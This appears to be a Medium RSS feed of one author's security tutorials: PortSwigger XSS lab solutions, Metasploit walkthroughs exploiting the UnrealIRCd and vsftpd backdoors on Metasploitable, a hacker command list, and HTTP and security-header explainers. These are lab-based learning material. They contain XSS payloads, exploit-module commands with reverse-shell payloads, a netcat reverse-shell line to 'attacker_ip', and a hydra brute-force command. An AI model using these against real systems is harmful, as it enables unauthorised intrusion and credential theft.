<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nikhil Patidar on Medium]]></title>
        <description><![CDATA[Stories by Nikhil Patidar on Medium]]></description>
        <link>https://medium.com/@nikhilpatidar01?source=rss-2150cab66649------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*w1lURJmru6G9fQRM3XqH4g.jpeg</url>
            <title>Stories by Nikhil Patidar on Medium</title>
            <link>https://medium.com/@nikhilpatidar01?source=rss-2150cab66649------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 22:40:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nikhilpatidar01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[“How to Solve PortSwigger XSS Labs: Step-by-Step Guide”]]></title>
            <link>https://medium.com/@nikhilpatidar01/how-to-solve-portswigger-xss-labs-step-by-step-guide-0e153f1a0831?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e153f1a0831</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Sun, 12 Oct 2025 14:00:32 GMT</pubDate>
            <atom:updated>2025-10-12T14:05:54.284Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXPmSD-GnaQVHUJfw528Kw.png" /></figure><p>Solving PortSwigger XSS labs is straightforward if you follow a systematic approach.</p><blockquote><strong><em>Here’s a basic workflow to solve these labs:</em></strong></blockquote><ol><li><strong>Find User Input Points</strong></li></ol><p>Identify all locations in the web app where user-supplied input is processed, such as search boxes, comment fields, or URL parameters.</p><p><strong>2. Test Input Reflection</strong></p><p>Submit a unique random value (like test12345) and check if it is reflected in the response.​</p><p><strong>3. Determine Output Context</strong></p><p>Based on where the input appears (inside HTML tags, attributes, or JavaScript), decide which type of XSS payload will work.</p><p><strong>4. Inject XSS Payload</strong></p><p>Try a simple payload, such as &lt;script&gt;alert(1)&lt;/script&gt;, if the context allows JavaScript execution. For blocked tags, experiment with alternatives (like &lt;img src=x onerror=print()&gt; or attribute event handlers).​</p><p><strong>5. Bypass Filters/WAF</strong></p><p>If standard payloads are blocked, use encoding tricks or test event attributes and different tags as recommended by XSS cheat sheets.</p><p><strong>6. Verify Execution / Solve</strong></p><p>When your payload executes (e.g. you see an alert or a print popup), you have solved the lab.</p><h3>LAB-1 :- Lab: Reflected XSS into HTML context with nothing encoded</h3><p><strong>Step-1:- </strong>In this PortSwigger XSS lab, a reflected XSS vulnerability existed in the search box parameter. Here’s how I solved it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJ-jCHmx71jmGEmdab0cjA.png" /></figure><p><strong>Step-2:- </strong>I entered a test value in the search box and saw that the input was reflected directly in the HTML response, confirming possible XSS.​</p><p><strong>Step-3:- </strong>I then submitted the classic XSS payload:</p><blockquote><strong><em>&lt;script&gt;alert(1)&lt;/script&gt;</em></strong></blockquote><p><strong>Step-4:- </strong>As soon as I submitted this, a JavaScript alert popup appeared, confirming code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vZm1eNzkvBrQEdYRS4ByZA.png" /></figure><p><strong>Step-5:-</strong> This successfully completed the lab challenge and demonstrated the XSS vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*uoFLv4yKNNLpMvUS0Owv4Q.png" /></figure><p>This approach can be repeated for basic reflected XSS scenarios, especially where no filtering or encoding is present.Here is a concise solution-style post for your Medium article, based on your successful lab:​</p><h3>LAB-2: Lab: Stored XSS into HTML context with nothing encoded</h3><p><strong>Step-1:-</strong> I accessed the lab “Stored XSS into HTML context with nothing encoded” in PortSwigger’s Web Security Academy.</p><p><strong>Step-2:-</strong> On the blog post page, I clicked “View post” and found the parameter in the URL, for example:<br>https://0a09002a04caf10180dd03e700bc00cb.web-security-academy.net/post?postId=8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eYZXVnvbzHRZppS87x5GhQ.png" /></figure><p><strong>Step-3:-</strong> I scrolled down to the “Leave a comment” section. Here, I tested whether input could be stored and reflected by entering the following XSS payload in the comment and name fields:</p><blockquote><strong><em>&lt;script&gt;alert(1)&lt;/script&gt;</em></strong></blockquote><p><strong>Step-4:-</strong> After filling in the email and website fields, I clicked “Post Comment.” My payload was stored by the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQ2Kr3-bB-bzDcPf9Wr5UA.png" /></figure><p><strong>Step-5:- </strong>When the page reloaded and displayed the comment, my XSS payload executed — showing a JavaScript alert popup. This confirmed a successful stored XSS attack and completed the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*oMe4lqtyQZew7c2gP3z3gw.png" /></figure><p>This demonstrates a classic stored XSS: malicious script is injected via a form and is later executed for all users who load the affected page.</p><h3>LAB-3: Lab: DOM XSS in document.write sink using source location.search</h3><p><strong>Step-1:-</strong> I accessed the lab called “DOM XSS in document.write sink using source location.search” on PortSwigger Web Security Academy.</p><p><strong>Step-2:- </strong>The search feature on this page used the URL parameter after ?search= as input and displayed it using JavaScript’s document.write function, making it vulnerable to DOM-based XSS.</p><blockquote><a href="https://0a6500cf03a1db42800712140023009e.web-security-academy.net/?search=%22%3E%3Csvg+onload%3Dalert%281%29%3E">https://0a6500cf03a1db42800712140023009e.web-security-academy.net/?search=</a></blockquote><p><strong>Step-3:- </strong>I entered a string like test in the search box and observed how it was reflected on the page. Then, I crafted the XSS payload to break out of the context and trigger JavaScript execution.<br>My successful payload was:</p><blockquote><strong><em>“&gt;&lt;svg onload=alert(1)&gt;</em></strong></blockquote><p><strong>Step-4:-</strong> I placed the payload in the search box, or directly edited the URL to append it after ?search=, like this:<br>...?search=&quot;&gt;&lt;svg onload=alert(1)&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdrCjq9ycZKBAp2eROkk_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPE30cxEbu7HR8KhTPTBTQ.png" /></figure><p><strong>Step-5:-</strong> After loading the page, the payload executed and a JavaScript alert popup appeared, which confirmed DOM XSS and completed the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*v_ZPUgdlqR1_HQm3y7oMzw.png" /></figure><p>This demonstrates a DOM-based XSS attack, where the application’s JavaScript code writes unsanitized data from the URL to the DOM, allowing arbitrary script execution.</p><p>Along with the solutions discussed above, I have solved several other XSS labs on PortSwigger Web Security Academy as shown in the screenshot. Details and techniques for these labs are also provided throughout this post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*6uAPK9Ap0TE3MXteKrNdxw.png" /></figure><blockquote><strong><em>Written by </em></strong><a href="https://in.linkedin.com/in/nikhilpatidar01"><strong><em>Nikhil Patidar</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e153f1a0831" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting UnrealIRCd 3.2.8.1 Backdoor on Metasploitable with Metasploit (Step-by-Step Guide)]]></title>
            <link>https://medium.com/@nikhilpatidar01/exploiting-unrealircd-3-2-8-1-backdoor-on-metasploitable-with-metasploit-step-by-step-guide-99b6102cc18e?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/99b6102cc18e</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 16:39:27 GMT</pubDate>
            <atom:updated>2025-10-10T14:43:00.027Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FaHD-RKhuRT9phf-aRrag.png" /></figure><p><em>Setting up vulnerable environments like Metasploitable is an excellent way to practice penetration testing skills safely. In this guide, we will exploit a critical backdoor vulnerability in UnrealIRCd 3.2.8.1 using Metasploit Framework to gain remote code execution (RCE).</em></p><p><em>UnrealIRCd is an open-source IRC server used worldwide for real-time chat. Version 3.2.8.1 was found to have a remote backdoor vulnerability allowing attackers to get a shell on the server.</em></p><blockquote><strong><em>Step 1: Lab Preparation</em></strong></blockquote><ul><li>Download Metasploitable from trusted <a href="https://sourceforge.net/projects/metasploitable/"><strong><em>sources</em></strong></a> and import it in VirtualBox or any VM platform.</li><li>Verify network connectivity and get the target IP. In this guide, target IP is:</li><li><strong><em>172.30.183.249</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*OTv_TPSb6_eo8TOdJae37A.png" /><figcaption><strong>Metasploit Machine IP — <em>172.30.183.249</em></strong></figcaption></figure><ul><li>Kali Linux attacker IP:</li><li><strong><em>172.30.183.144</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rDpPtaG3_i2sQZzJVfSPxQ.png" /><figcaption><strong>Kali Linux IP — 172.30.183.144</strong></figcaption></figure><blockquote><strong><em>Step 2: Scanning the Target</em></strong></blockquote><ul><li>Use nmap to identify open ports/services:</li><li><strong><em>nmap -sV 172.30.183.249</em></strong></li><li>Confirm UnrealIRCd service is running on port 6667 (IRC default port).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gP96NX1T-aYvlupIwyx5Cg.png" /><figcaption><strong>Port and Version Check — 6667/tcp open irc UnrealIRCd</strong></figcaption></figure><blockquote><strong><em>Step 3: Searchsploit unreal_ircd</em></strong></blockquote><ul><li>UnrealIRCd 3.2.8.1 — Backdoor Command Execution (Metasploit)</li><li>UnrealIRCd 3.2.8.1 — Local Configuration Stack Overflow</li><li>UnrealIRCd 3.2.8.1 — Remote Downloader/Execute</li><li>UnrealIRCd 3.x — Remote Denial of Service</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*433iMZ3pVEBGMj3HALQlRw.png" /><figcaption>cl</figcaption></figure><blockquote><strong><em>Step 4: Launch Metasploit</em></strong></blockquote><ul><li>Open Metasploit console:</li><li><strong><em>msfconsole</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*71Fx7bN7MYSn_4nFU2JIgg.png" /><figcaption><strong>Run — msfconsole</strong></figcaption></figure><ul><li>Search for UnrealIRCd backdoor exploit:</li><li><strong><em>search unreal_ircd</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvYJkQL8BeshcO-bl1VIQA.png" /><figcaption><strong><em>Run — search unreal_ircd</em></strong></figcaption></figure><blockquote><strong><em>Step 5: Configure and Run Exploit</em></strong></blockquote><ul><li>Select the exploit module:</li><li><strong><em>use exploit/unix/irc/unreal_ircd_3281_backdoor</em></strong></li><li>Set target IP, port, payload, and your Kali IP:</li><li><strong><em>set RHOSTS 172.30.183.249</em></strong></li><li><strong><em>set RPORT 6667</em></strong></li><li><strong><em>set PAYLOAD cmd/unix/reverse</em></strong></li><li><strong><em>set LHOST 172.30.183.144</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mem1Fme3YR5F7hQYsO1y3w.png" /><figcaption><strong>Run All Commands and set all</strong></figcaption></figure><ul><li>Run the exploit:</li><li><strong><em>run</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zUjlcpt5UJHqBSl0zznqSg.png" /><figcaption><strong>Run</strong></figcaption></figure><p>Once successful, you will get a remote shell access on the Metasploitable server.</p><blockquote><strong><em>Step 6: Privilege Verification and Post-Exploitation</em></strong></blockquote><ul><li>Check your privileges:</li><li><strong><em>id, ls -lh, ifconfig</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8yvfhyZ-91Kn70lpML-FCg.png" /></figure><ul><li>Proceed with privilege escalation or further enumeration as required</li></ul><blockquote><strong>Conclusion &amp; Takeaway</strong></blockquote><p>This workflow demonstrates:</p><ul><li>How a seemingly harmless IRC server like UnrealIRCd can harbor critical backdoor vulnerabilities, allowing attackers remote code execution.</li><li>Why it is essential to always verify software authenticity and keep systems updated and patched, as the UnrealIRCd 3.2.8.1 backdoor remained unnoticed for months.</li><li>The power of penetration testing and tools like Metasploit in proactively detecting and exploiting such vulnerabilities safely within controlled labs.</li><li>How hands-on exploitation exercises help reinforce the importance of continuous security assessments to protect real-world environments from similar risks.</li></ul><blockquote><strong>Exploit by </strong><a href="https://www.linkedin.com/in/nikhilpatidar01?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Nikhil Patidar</strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99b6102cc18e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vsftpd 2.3.4 Backdoor on Metasploitable with Metasploit (Step-by-Step Guide).]]></title>
            <link>https://medium.com/@nikhilpatidar01/exploiting-vsftpd-2-3-4-backdoor-on-metasploitable-with-metasploit-step-by-step-guide-56d12671b82b?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/56d12671b82b</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 05:45:30 GMT</pubDate>
            <atom:updated>2025-10-10T14:43:33.229Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vqWq2ctXklGSrVKZC2PdA.jpeg" /></figure><p><em>Setting up a lab with Metasploitable in VirtualBox offers a safe environment for learning practical penetration testing. Here’s how I discovered and exploited a real vulnerability using Metasploit Framework.</em></p><blockquote><strong>Step-1. Setup Up the Lab</strong></blockquote><ul><li>Downloaded Metasploitable: Got the VM from <a href="https://sourceforge.net/projects/metasploitable/"><strong><em>SourceForge</em></strong></a><em>.</em></li><li>Imported into VirtualBox: Launched it with default credentials:</li><li>Username: msfadmin</li><li>Password: msfadmin</li><li>Verified Network: My Metasploitable machine had the IP: 172.30.183.249.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*6vno2mKP6uy6ILemX_Ga_g.png" /><figcaption><strong>Verified IP: </strong><strong>172.30.183.249</strong></figcaption></figure><blockquote><strong>Step-2. Scanning the Target</strong></blockquote><ul><li>I used nmap to identify open ports and services:</li><li><strong><em>nmap -sV 172.30.183.249</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*huwvryvuROjzJIBMBqHMkA.png" /><figcaption><strong>Nmap scan Port, State, Service and Version</strong></figcaption></figure><ul><li>Nmap discovered several services. I paid attention to their version numbers to spot vulnerable software.</li></ul><blockquote><strong>Step-3. Finding a Vulnerability</strong></blockquote><ul><li>The scan showed the FTP service was running vsftpd 2.3.4 — a notoriously vulnerable version.</li><li>To confirm exploits existed, I ran:</li><li><strong><em>searchsploit vsftpd 2.3.4</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UE-7go6FJI3pc8Z5j5B4VQ.png" /><figcaption><strong>Find the vsftpd 2.3.4 — Backdoor Command Execution</strong></figcaption></figure><ul><li>Searchsploit listed multiple exploits, including a Metasploit module for the backdoor vulnerability.</li></ul><blockquote><strong>Step-4. Exploiting with Metasploit</strong></blockquote><ul><li>I targeted the vsftpd backdoor using these steps in msfconsole:</li><li><strong><em>msfconsole</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQCWI5EYgNahhrALvQ9_0Q.png" /></figure><ul><li><strong><em>use exploit/unix/ftp/vsftpd_234_backdoor</em></strong></li><li><strong><em>options</em></strong></li><li><strong><em>set RHOSTS 172.30.183.249</em></strong></li><li><strong><em>set RPORT 21</em></strong></li><li><strong><em>set PAYLOAD cmd/unix/interact</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRP8D4Pskj-0vVcVac8VwQ.png" /></figure><ul><li><strong><em>run</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1ooJveI9HhFdcisgiCsCA.png" /><figcaption><strong>You used Metasploit’s vsftpd_234_backdoor exploit module on target 172.30.183.249. The exploit successfully triggered the vsftpd 2.3.4 backdoor, gave root shell access, and allowed you to run commands on the target as root — confirming full remote compromise.</strong></figcaption></figure><ul><li>On running the exploit, I received a remote shell — proof that the server was vulnerable and exploitable.</li></ul><blockquote><strong>5. Conclusion &amp; Takeaway</strong></blockquote><ul><li>This workflow demonstrates:</li><li>How to methodically scan, identify, and exploit vulnerabilities in a controlled lab.</li><li>Why keeping software updated and patched is critical — older versions often contain serious risks.</li><li>The importance of using penetration testing to discover and remediate weaknesses before attackers exploit them.</li></ul><blockquote>Exploit by<strong> </strong><a href="https://www.linkedin.com/in/nikhilpatidar01?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Nikhil Patidar</strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56d12671b82b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Top 10 Cybersecurity Commands Every Ethical Hacker Must Know]]></title>
            <link>https://medium.com/@nikhilpatidar01/top-10-cybersecurity-commands-every-ethical-hacker-must-know-590a0f745a04?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/590a0f745a04</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 04:07:31 GMT</pubDate>
            <atom:updated>2025-07-21T04:13:29.840Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kKpuaWOTc2Z1LgB6b-Nw5w.png" /></figure><p>The world of hacking isn’t just hoodie-wearing keyboard smashing. Nope. Real ethical hackers use the command line like a ninja uses a katana — <strong>clean, efficient, powerful.</strong></p><p>Whether you’re a noob trying HackTheBox or prepping for OSCP, these 10 commands will become your <strong>go-to toolkit</strong>.</p><p>Let’s level up……….</p><h3>🔍 1. nmap – The Recon King</h3><pre>nmap -sS -T4 -Pn 192.168.1.1</pre><blockquote>&gt; <em>Use it for:</em> Scanning targets, finding open ports, detecting live services.<br>&gt; <em>Why it matters:</em> This is where every cyber mission starts — recon.</blockquote><h3>🌐 2. whois – Domain Intel Made Simple</h3><pre>whois example.com</pre><blockquote><em>&gt; What you get:</em> Registrant info, domain creation date, DNS servers, admin contact.<br> &gt; <em>Real-world:</em> Find old forgotten emails and weak links for social engineering.</blockquote><h3>📡 3. dig – DNS Discovery Weapon</h3><pre>dig A example.com +short<br>dig ANY example.com</pre><blockquote>&gt; <em>Use it when:</em> You need DNS records fast.<br>&gt; <em>Pro tip:</em> Try dig @8.8.8.8 for Google DNS.</blockquote><h3>🧭 4. nslookup – Fast and Friendly DNS Lookup</h3><pre>nslookup google.com</pre><blockquote><em>&gt; Why it’s helpful:</em> Quick domain-to-IP resolution when dig isn’t available.</blockquote><h3>🕵️‍♂️ 5. netstat – Sniff Suspicious Connections</h3><pre>netstat -anob</pre><blockquote>&gt; <em>Use it to:</em> Check for open ports, hidden malware, or reverse shells.<br>&gt;️ <em>Caution:</em> Admin privileges needed for -b option.</blockquote><h3>🛡️ 6. tcpdump – Your Packet Interceptor</h3><pre>tcpdump -i eth0 port 80</pre><blockquote>&gt; <em>What it does:</em> Captures network packets in real-time.<br>&gt; <em>Use it to:</em> Sniff creds on insecure networks or debug traffic.</blockquote><h3>🔐 7. strings – Find Secrets in Files</h3><pre>strings suspicious.exe | grep pass</pre><blockquote>&gt; Why it rocks: Extract readable strings (like passwords or URLs) from binary files.<br>&gt; Example: Reverse engineering suspicious files.</blockquote><h3>📡 8. nc (netcat) – Swiss Army Knife for Hackers</h3><pre>nc -nlvp 4444</pre><blockquote>&gt; Use it to: Create reverse shells, connect to services, or scan ports.<br> &gt; Magic line:</blockquote><pre>nc -e /bin/bash attacker_ip 4444</pre><h3>💥 9. hydra – The Brute Forcer’s Dream</h3><pre>hydra -l admin -P rockyou.txt ftp://192.168.1.10</pre><blockquote><em>&gt; ONLY use on systems you own or are authorized to test!</em><br>&gt; <em>Supports:</em> FTP, SSH, RDP, HTTP, SMTP, etc.</blockquote><h3>📲 10. curl – API Testing &amp; Payload Delivery</h3><pre>curl -X POST -d &quot;username=admin&amp;password=1234&quot; http://target.com/login.php</pre><blockquote><em>&gt; Use it to:</em> Test login pages, trigger API endpoints, fuzz inputs.<br>&gt; <em>Bonus:</em> Add headers, cookies, auth tokens easily.</blockquote><p>⚡ Bonus Commands (Because You Deserve It)</p><pre>|    Command      |            Use                   |<br>| --------------- | -------------------------------- |<br>| `whoami`        | Show current user                |<br>| `hostname`      | Show machine name                |<br>| `systeminfo`    | Get full system specs            |<br>| `ipconfig /all` | View detailed network info       |<br>| `arp -a`        | Show MAC addresses linked to IPs |</pre><p>✍️ Written by: <a href="https://github.com/nikhilpatidar01">Nikhil Patidar </a>Ethical Hacker | Cybersecurity Enthusiast | Terminal Whisperer</p><blockquote>#CyberSecurity #EthicalHacking #LinuxCommands #HackingTips #Infosec #CTF #OSCP #Netsec #KaliLinux #HackTheBox #TryHackMe</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=590a0f745a04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ HTTP Request & Response Explained]]></title>
            <link>https://medium.com/@nikhilpatidar01/http-request-response-explained-cc7c30993967?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc7c30993967</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 03:37:01 GMT</pubDate>
            <atom:updated>2025-08-07T14:19:40.958Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5zi6BLkUrzmxIH-QfS1CWw.png" /></figure><h3>Introduction</h3><p>Every time you visit a website, click a link, or submit a form, you unknowingly initiate a behind-the-scenes handshake between your browser (client) and a remote server.</p><p>This digital dialogue happens through the <strong>HTTP protocol</strong>, and it consists of two key parts:<br> <strong>Request</strong> → from you<br> <strong>Response</strong> → from the server</p><p>In this post, we’ll <strong>uncover the anatomy</strong> of HTTP requests and responses — from the basics to the <strong>hidden, powerful details</strong> often overlooked by beginners.</p><h3>What is an HTTP Request?</h3><p>An <strong>HTTP Request</strong> is a message sent by your browser (or any client) to a web server, asking it to deliver a resource — like a webpage, an image, or data.</p><h3>Structure of an HTTP Request</h3><p>An HTTP request is composed of:</p><h4>1. Request Line</h4><pre>GET /dashboard HTTP/1.1</pre><ul><li>GET: The HTTP method</li><li>/dashboard: The path/resource being requested</li><li>HTTP/1.1: The protocol version</li></ul><h4>2. Headers</h4><p>Think of headers as metadata — they give the server context about the request.</p><p><strong>Common Request Headers:</strong></p><pre>Host: www.example.com<br>User-Agent: Mozilla/5.0<br>Accept: text/html<br>Referer: https://google.com<br>Cookie: sessionid=abc123</pre><p><strong>Hidden Gem :</strong><br> Most people don’t know this, but <strong>headers can be manipulated</strong> to perform:</p><ul><li>Referer spoofing</li><li>Cookie poisoning</li></ul><h4>3. Request Body (Optional)</h4><p>This section contains data (usually with POST, PUT, PATCH).</p><pre>{<br>  &quot;email&quot;: &quot;user@example.com&quot;,<br>  &quot;password&quot;: &quot;hunter2&quot;<br></pre><h4># Common HTTP Methods</h4><pre>| Method    | Purpose                    | Typical Use                      |<br>| --------- | -------------------------- | -------------------------------- |<br>| `GET`     | Retrieve a resource        | Load a page                      |<br>| `POST`    | Send data to server        | Form submission                  |<br>| `PUT`     | Replace/update a resource  | Profile update                   |<br>| `DELETE`  | Remove a resource          | Delete post                      |<br>| `PATCH`   | Partial update             | Edit title only                  |<br>| `OPTIONS` | Discover supported methods | CORS preflight                   |<br>| `HEAD`    | Get headers only           | Check status without downloading |</pre><h3>What is an HTTP Response?</h3><p>The <strong>HTTP Response</strong> is the server’s reply to the request, containing the requested data or an error message.</p><h3>Structure of an HTTP Response</h3><h4>1. Status Line</h4><pre>HTTP/1.1 200 OK</pre><p>Includes:</p><ul><li>Protocol version</li><li>Status code (e.g., 200, 404, 500)</li><li>Status text (OK, Not Found, etc.)</li></ul><h4>2. Response Headers</h4><pre>Content-Type: text/html<br>Content-Length: 1450<br>Set-Cookie: sessionid=xyz456; Secure<br>Cache-Control: no-cache</pre><p>These control behavior like:</p><ul><li>What content is sent</li><li>Whether it’s cacheable</li><li>Whether cookies are set</li><li>How secure the connection is</li></ul><p><strong>Hidden Gem :</strong></p><ul><li>X-Powered-By reveals tech stack (PHP, Express, ASP.NET)</li><li>Content-Security-Policy is crucial for XSS prevention (and often misconfigured)</li></ul><h4>3. Response Body</h4><p>This contains the actual content — HTML, JSON, images, etc.</p><h4># Common HTTP Status Codes</h4><pre>| Code  | Category               | Description                          |<br>| ----- | ---------------------  | ------------------------------------ |<br>| `200` | ✅ Success             | Everything’s good                    |<br>| `301` | 🔁 Redirect            | Resource moved permanently           |<br>| `302` | Temporary Redirect     | Common in login flows                |<br>| `400` | 🚫 Bad Request         | Malformed request                    |<br>| `401` | 🔒 Unauthorized        | Login required                       |<br>| `403` | 🔐 Forbidden           | Access denied                        |<br>| `404` | ❓ Not Found           | Page doesn’t exist                   |<br>| `500` | 💥 Server Error        | Something broke                      |<br>| `503` | ⏳ Service Unavailable | Server under maintenance or overload |</pre><h3>Full Request-Response Cycle Example:-</h3><h4>&gt; <strong>Request:</strong></h4><pre>POST /login HTTP/1.1<br>Host: secure.example.com<br>Content-Type: application/json<br>Content-Length: 60<br><br>{<br>  &quot;username&quot;: &quot;admin&quot;,<br>  &quot;password&quot;: &quot;hunter2&quot;<br>}</pre><h4>&gt; Response:</h4><pre>HTTP/1.1 302 Found<br>Location: /dashboard<br>Set-Cookie: auth_token=abc.def.ghi; HttpOnly; Secure</pre><p>✍️ Written by <a href="https://github.com/nikhilpatidar01?new_signup=true"><strong>Nikhil Patidar</strong></a></p><p>📚 Learning Source Reference: <a href="https://www.armourinfosec.com/">armourinfosec.com</a><br> Ethical Hacker | Cybersecurity Enthusiast | Web App Penetration Tester</p><p>#cybersecurity #webdevelopment #ethicalhacking #bugbounty <br>#infosec #http #websecurity <br>#programming #tech #developers</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc7c30993967" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ HTTP Security Headers]]></title>
            <link>https://medium.com/@nikhilpatidar01/%EF%B8%8F-http-security-headers-e60a6a6a1d7e?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/e60a6a6a1d7e</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Fri, 11 Jul 2025 10:00:36 GMT</pubDate>
            <atom:updated>2025-08-07T14:21:34.381Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u07soh_bJ-Al-XP4BvTGZA.png" /></figure><blockquote><strong><em>“Prevention is better than cure — especially in cybersecurity.”</em></strong></blockquote><p>When it comes to securing your web application, it’s not just about firewalls and antivirus. Your <strong>first line of defense</strong> is often your <strong>HTTP response headers</strong> — the unsung heroes that silently protect users from a range of attacks like <strong>XSS, Clickjacking, MIME sniffing</strong>, and more.</p><p>In this blog post, we’ll break down the <strong>top security headers</strong>, how they work, and how to implement them. No fluff — just practical, hacker-focused knowledge.</p><h3>📌 What Are HTTP Security Headers?</h3><p>When a browser requests a web page, the server responds with data — including <strong>HTTP headers</strong>. These headers can contain <strong>instructions to the browser</strong> on how to behave with the content.</p><p><strong>Security headers</strong> specifically guide browsers to protect users from malicious activity or code injection.</p><p>⚔️ Top HTTP Security Headers (With Examples)</p><h3>1. X-Frame-Options — 🪞 Anti Clickjacking</h3><p><strong>Purpose:</strong> Prevents your site from being embedded in an iframe on another site.</p><pre><br>| Value        | Meaning                                  |<br>| ------------ | ---------------------------------------- |<br>| `DENY`       | Don’t allow anyone to embed your site.   |<br>| `SAMEORIGIN` | Allow only if it&#39;s from your own domain. |</pre><pre>X-Frame-Options: DENY</pre><p>✅ <strong>Why?</strong> Stops attackers from loading your page in an invisible iframe and tricking users into clicking hidden buttons (clickjacking).</p><h3>2. X-Content-Type-Options — 🧪 Block MIME Sniffing</h3><p><strong>Purpose:</strong> Prevents browsers from guessing (sniffing) content types.</p><pre>X-Content-Type-Options: nosniff</pre><p>✅ <strong>Why?</strong> Helps avoid content-type confusion that can lead to <strong>script execution</strong> in unintended files (e.g., a .jpg being interpreted as JavaScript).</p><h3>3. Content-Security-Policy — 🔥 XSS Killer</h3><p><strong>Purpose:</strong> Specifies which content the browser can load. Blocks inline scripts, untrusted resources, etc.</p><pre>Content-Security-Policy: default-src &#39;self&#39;;</pre><p>✅ <strong>Why?</strong> A powerful defense against <strong>Cross-Site Scripting (XSS)</strong> and data injection attacks.</p><h3>4. Strict-Transport-Security (HSTS) — 🔐 Enforce HTTPS</h3><p><strong>Purpose:</strong> Forces browsers to 